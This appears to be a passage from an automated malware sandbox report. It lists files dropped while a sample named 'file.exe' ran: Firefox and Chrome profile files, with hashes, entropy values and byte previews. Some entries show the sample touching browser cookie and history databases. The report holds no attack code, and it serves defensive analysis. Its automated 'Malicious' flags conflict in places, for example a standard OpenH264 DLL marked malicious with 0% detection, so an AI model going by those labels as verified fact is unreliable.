File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 29 17:49:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.983777077102518
Encrypted:	false
SSDEEP:
MD5:	6600C58CE36B055666C0E4E0B9C07909
SHA1:	7F6704309E83FE524CDFE8EC4BFF71D4638714B6
SHA-256:	8FD4293D221858DCB3BA64E60AF8376563347078C84F15C884A0A62E7B7A7674
SHA-512:	1F985F29E30C50BDC5CCB358112A4141F2C386C3DF509CCF8F341A634AF23BB2DA2518019028811B58DFD15929A1087DEA6983CDC975DCE2F34FBE93327036D3
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....OPbe.B..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I}Y(.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V}Y(.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V}Y(.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V}Y(............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V}Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............B.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 29 17:49:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.996846862774728
Encrypted:	false
SSDEEP:
MD5:	E082BCF2190C8B0866B892D0338CC3B4
SHA1:	104E24B4E8AE80690D9DB4E6F67DD6F1AE83121C
SHA-256:	271185BF4B6B2D035B77875A96F8320A3CBF386F288FD67347272D38C229B8B2
SHA-512:	AA0CEF33F127103F1AFA8650B8FE0DEF2E025D409A95901A82812DF8332977B02706CC096E55828761155FA2BD5E46D2A9C7BD01A783AC71A402D87C92A429F7
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......Ne.B..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I}Y(.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V}Y(.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V}Y(.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V}Y(............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V}Y............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............B.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addons.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.91829583405449
Encrypted:	false
SSDEEP:
MD5:	3088F0272D29FAA42ED452C5E8120B08
SHA1:	C72AA542EF60AFA3DF5DFE1F9FCC06C0B135BE23
SHA-256:	D587CEC944023447DC91BC5F71E2291711BA5ADD337464837909A26F34BC5A06
SHA-512:	B662414EDD6DEF8589304904263584847586ECCA0B0E6296FB3ADB2192D92FB48697C99BD27C4375D192150E3F99102702AF2391117FFF50A9763C74C193D798
Malicious:	false
Reputation:	unknown
Preview:	{"schema":6,"addons":[]}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addons.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.91829583405449
Encrypted:	false
SSDEEP:
MD5:	3088F0272D29FAA42ED452C5E8120B08
SHA1:	C72AA542EF60AFA3DF5DFE1F9FCC06C0B135BE23
SHA-256:	D587CEC944023447DC91BC5F71E2291711BA5ADD337464837909A26F34BC5A06
SHA-512:	B662414EDD6DEF8589304904263584847586ECCA0B0E6296FB3ADB2192D92FB48697C99BD27C4375D192150E3F99102702AF2391117FFF50A9763C74C193D798
Malicious:	false
Reputation:	unknown
Preview:	{"schema":6,"addons":[]}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Reputation:	unknown
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 4
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04905141882491872
Encrypted:	false
SSDEEP:
MD5:	8736A542C5564A922C47B19D9CC5E0F2
SHA1:	CE9D58967DA9B5356D6C1D8A482F9CE74DA9097A
SHA-256:	97CE5D8AFBB0AA610219C4FAC3927E32C91BFFD9FD971AF68C718E7B27E40077
SHA-512:	99777325893DC7A95FD49B2DA18D32D65F97CC7A8E482D78EDC32F63245457FA5A52750800C074D552D20B6A215604161FDC88763D93C76A8703470C3064196B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\store.json.mozlz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 56 bytes
Category:	dropped
Size (bytes):	66
Entropy (8bit):	4.837595020998689
Encrypted:	false
SSDEEP:
MD5:	A6338865EB252D0EF8FCF11FA9AF3F0D
SHA1:	CECDD4C4DCAE10C2FFC8EB938121B6231DE48CD3
SHA-256:	078648C042B9B08483CE246B7F01371072541A2E90D1BEB0C8009A6118CBD965
SHA-512:	D950227AC83F4E8246D73F9F35C19E88CE65D0CA5F1EF8CCBB02ED6EFC66B1B7E683E2BA0200279D7CA4B49831FD8C3CEB0584265B10ACCFF2611EC1CA8C0C6C
Malicious:	false
Reputation:	unknown
Preview:	mozLz40.8.....{"v":1,"crashes":{},"countsByDay....rruptDate":null}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\store.json.mozlz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 56 bytes
Category:	dropped
Size (bytes):	66
Entropy (8bit):	4.837595020998689
Encrypted:	false
SSDEEP:
MD5:	A6338865EB252D0EF8FCF11FA9AF3F0D
SHA1:	CECDD4C4DCAE10C2FFC8EB938121B6231DE48CD3
SHA-256:	078648C042B9B08483CE246B7F01371072541A2E90D1BEB0C8009A6118CBD965
SHA-512:	D950227AC83F4E8246D73F9F35C19E88CE65D0CA5F1EF8CCBB02ED6EFC66B1B7E683E2BA0200279D7CA4B49831FD8C3CEB0584265B10ACCFF2611EC1CA8C0C6C
Malicious:	false
Reputation:	unknown
Preview:	mozLz40.8.....{"v":1,"crashes":{},"countsByDay....rruptDate":null}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extension-preferences.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Reputation:	unknown
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extension-preferences.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Reputation:	unknown
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extensions.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36830
Entropy (8bit):	5.1867463390487
Encrypted:	false
SSDEEP:
MD5:	98875950B62B398FFE70C0A8D0998017
SHA1:	CFCFFF938402E53D341FE392E25D2E6C557E548F
SHA-256:	1B445C7E12712026D4E663426527CE58FD221D2E26545AEA699E67D60F16E7F0
SHA-512:	728FF6FF915A45B44D720F41F9545F41F1BF5FB218D58073BD27DB19145D2225488988BE80FB0F712922D7B661E1A64448E3F71F09A1480B6F20BD2480888ABF
Malicious:	false
Reputation:	unknown
Preview:	{"schemaVersion":35,"addons":[{"id":"formautofill@mozilla.org","syncGUID":"{7a5650ac-9a89-4807-a040-9f0832bf39a9}","version":"1.0.1","type":"extension","loader":null,"updateURL":null,"installOrigins":null,"manifestVersion":2,"optionsURL":null,"optionsType":null,"optionsBrowserStyle":true,"aboutURL":null,"defaultLocale":{"name":"Form Autofill","creator":null,"developers":null,"translators":null,"contributors":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"embedderDisabled":false,"installDate":1695865283000,"updateDate":1695865283000,"applyBackgroundUpdates":1,"path":"C:\\Program Files\\Mozilla Firefox\\browser\\features\\formautofill@mozilla.org.xpi","skinnable":false,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"strictCompatibility":true,"locales":[],"targetApplications":[{"id":"toolkit@mozilla.org","minVersion":null,"maxVersion":null}],"targetPlatforms":[],"signedDate":null,"seen":true,"dependencies":[],"incognito":"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extensions.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36830
Entropy (8bit):	5.1867463390487
Encrypted:	false
SSDEEP:
MD5:	98875950B62B398FFE70C0A8D0998017
SHA1:	CFCFFF938402E53D341FE392E25D2E6C557E548F
SHA-256:	1B445C7E12712026D4E663426527CE58FD221D2E26545AEA699E67D60F16E7F0
SHA-512:	728FF6FF915A45B44D720F41F9545F41F1BF5FB218D58073BD27DB19145D2225488988BE80FB0F712922D7B661E1A64448E3F71F09A1480B6F20BD2480888ABF
Malicious:	false
Reputation:	unknown
Preview:	{"schemaVersion":35,"addons":[{"id":"formautofill@mozilla.org","syncGUID":"{7a5650ac-9a89-4807-a040-9f0832bf39a9}","version":"1.0.1","type":"extension","loader":null,"updateURL":null,"installOrigins":null,"manifestVersion":2,"optionsURL":null,"optionsType":null,"optionsBrowserStyle":true,"aboutURL":null,"defaultLocale":{"name":"Form Autofill","creator":null,"developers":null,"translators":null,"contributors":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"embedderDisabled":false,"installDate":1695865283000,"updateDate":1695865283000,"applyBackgroundUpdates":1,"path":"C:\\Program Files\\Mozilla Firefox\\browser\\features\\formautofill@mozilla.org.xpi","skinnable":false,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"strictCompatibility":true,"locales":[],"targetApplications":[{"id":"toolkit@mozilla.org","minVersion":null,"maxVersion":null}],"targetPlatforms":[],"signedDate":null,"seen":true,"dependencies":[],"incognito":"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1021904
Entropy (8bit):	6.648417932394748
Encrypted:	false
SSDEEP:
MD5:	FE3355639648C417E8307C6D051E3E37
SHA1:	F54602D4B4778DA21BC97C7238FC66AA68C8EE34
SHA-256:	1ED7877024BE63A049DA98733FD282C16BD620530A4FB580DACEC3A78ACE914E
SHA-512:	8F4030BB2464B98ECCBEA6F06EB186D7216932702D94F6B84C56419E9CF65A18309711AB342D1513BF85AED402BC3535A70DB4395874828F0D35C278DD2EAC9C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......NH...)...)...)..eM...)..eM...)..eM..)..eM...)...)..i)..XA...)..XA..;)..XA...)...)..g)..cA...)..cA...)..Rich.)..........PE..d....z\.........." .....t................................................................`.........................................P...,...\|...(............P...H...z.................T...........................0...................p............................text...$s.......t.................. ..`.rdata...~...........x..............@..@.data....3..........................@....pdata...H...P...J..................@..@.rodata..............^..............@..@.reloc...............j..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1021904
Entropy (8bit):	6.648417932394748
Encrypted:	false
SSDEEP:
MD5:	FE3355639648C417E8307C6D051E3E37
SHA1:	F54602D4B4778DA21BC97C7238FC66AA68C8EE34
SHA-256:	1ED7877024BE63A049DA98733FD282C16BD620530A4FB580DACEC3A78ACE914E
SHA-512:	8F4030BB2464B98ECCBEA6F06EB186D7216932702D94F6B84C56419E9CF65A18309711AB342D1513BF85AED402BC3535A70DB4395874828F0D35C278DD2EAC9C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......NH...)...)...)..eM...)..eM...)..eM..)..eM...)...)..i)..XA...)..XA..;)..XA...)...)..g)..cA...)..cA...)..Rich.)..........PE..d....z\.........." .....t................................................................`.........................................P...,...\|...(............P...H...z.................T...........................0...................p............................text...$s.......t.................. ..`.rdata...~...........x..............@..@.data....3..........................@....pdata...H...P...J..................@..@.rodata..............^..............@..@.reloc...............j..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.968220104601006
Encrypted:	false
SSDEEP:
MD5:	3D33CDC0B3D281E67DD52E14435DD04F
SHA1:	4DB88689282FD4F9E9E6AB95FCBB23DF6E6485DB
SHA-256:	F526E9F98841D987606EFEAFF7F3E017BA9FD516C4BE83890C7F9A093EA4C47B
SHA-512:	A4A96743332CC8EF0F86BC2E6122618BFC75ED46781DADBAC9E580CD73DF89E74738638A2CCCB4CAA4CBBF393D771D7F2C73F825737CDB247362450A0D4A4BC1
Malicious:	false
Reputation:	unknown
Preview:	Name: gmpopenh264.Description: GMP Plugin for OpenH264..Version: 1.8.1.APIs: encode-video[h264], decode-video[h264].

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.968220104601006
Encrypted:	false
SSDEEP:
MD5:	3D33CDC0B3D281E67DD52E14435DD04F
SHA1:	4DB88689282FD4F9E9E6AB95FCBB23DF6E6485DB
SHA-256:	F526E9F98841D987606EFEAFF7F3E017BA9FD516C4BE83890C7F9A093EA4C47B
SHA-512:	A4A96743332CC8EF0F86BC2E6122618BFC75ED46781DADBAC9E580CD73DF89E74738638A2CCCB4CAA4CBBF393D771D7F2C73F825737CDB247362450A0D4A4BC1
Malicious:	false
Reputation:	unknown
Preview:	Name: gmpopenh264.Description: GMP Plugin for OpenH264..Version: 1.8.1.APIs: encode-video[h264], decode-video[h264].

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035577876577226504
Encrypted:	false
SSDEEP:
MD5:	96FB9DBAE0C208639CE44B815EE0C76E
SHA1:	1C9700FFBD7F5D8F5999A9B76D7FC9B5248A07E2
SHA-256:	3D19AB89EF025C9241C75EF229ECD863E91CB31877E45272092A6A63B262C87B
SHA-512:	60C5531ECBD2F3A85135E824C80CDDA9018CF9B391A0B369E6A73110C1D629D2748091579D046A5A7A4979886AEBE813983DFAA8B7D3BAE8CE9834E66D4BDCC3
Malicious:	true
Reputation:	unknown
Preview:	..-.....................v.)..7.'.y..PG..\|~_y....-.....................v.)..7.'.y..PG..\|~_y..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.03969344228726049
Encrypted:	false
SSDEEP:
MD5:	5715D91A20FD042C6DA93048EA230F70
SHA1:	01A5083ECC002DE7C642BA2ED08F66FC35D34668
SHA-256:	D0CA0B75F60D6AC3ECC9C6D19EE78D80B8C5A781E4A45A705716F54D94D22F57
SHA-512:	AB9F068B5809EEED7E24C4E5E613EF04ABD38394EE3D8C2355BF01BEC81F8604E00E657AEF4D16D6A20DA3BF29F9EB06CDFBE68ECF2DCE22472CFD267750674D
Malicious:	true
Reputation:	unknown
Preview:	7....-...........y..PG...\|..y.=.........y..PG..).v'.7.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	13187
Entropy (8bit):	5.47703951914568
Encrypted:	false
SSDEEP:
MD5:	858BC79E72DB8BA379D01FFF21CC9E3F
SHA1:	8085B0CD722DF96D800F2979CE162E13F49B27E5
SHA-256:	215F78A4F018D0A812D54C507D6529B7451F2BC69FDB537B1E87A259E42BFA7F
SHA-512:	6A321977FF4EBE74756183CD5DBEC91BE4EC41BB0D727989D8F71D413748397FE4E980C3AF49D75D6DE0218D65FCD8E69123961C61D14852B47EED504BC0E1D7
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1732910307);..user_pref("app.update.lastUpdateTime.background-update-timer", 1732910307);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1732910307);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 173291

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	13187
Entropy (8bit):	5.47703951914568
Encrypted:	false
SSDEEP:
MD5:	858BC79E72DB8BA379D01FFF21CC9E3F
SHA1:	8085B0CD722DF96D800F2979CE162E13F49B27E5
SHA-256:	215F78A4F018D0A812D54C507D6529B7451F2BC69FDB537B1E87A259E42BFA7F
SHA-512:	6A321977FF4EBE74756183CD5DBEC91BE4EC41BB0D727989D8F71D413748397FE4E980C3AF49D75D6DE0218D65FCD8E69123961C61D14852B47EED504BC0E1D7
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1732910307);..user_pref("app.update.lastUpdateTime.background-update-timer", 1732910307);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1732910307);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 173291

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
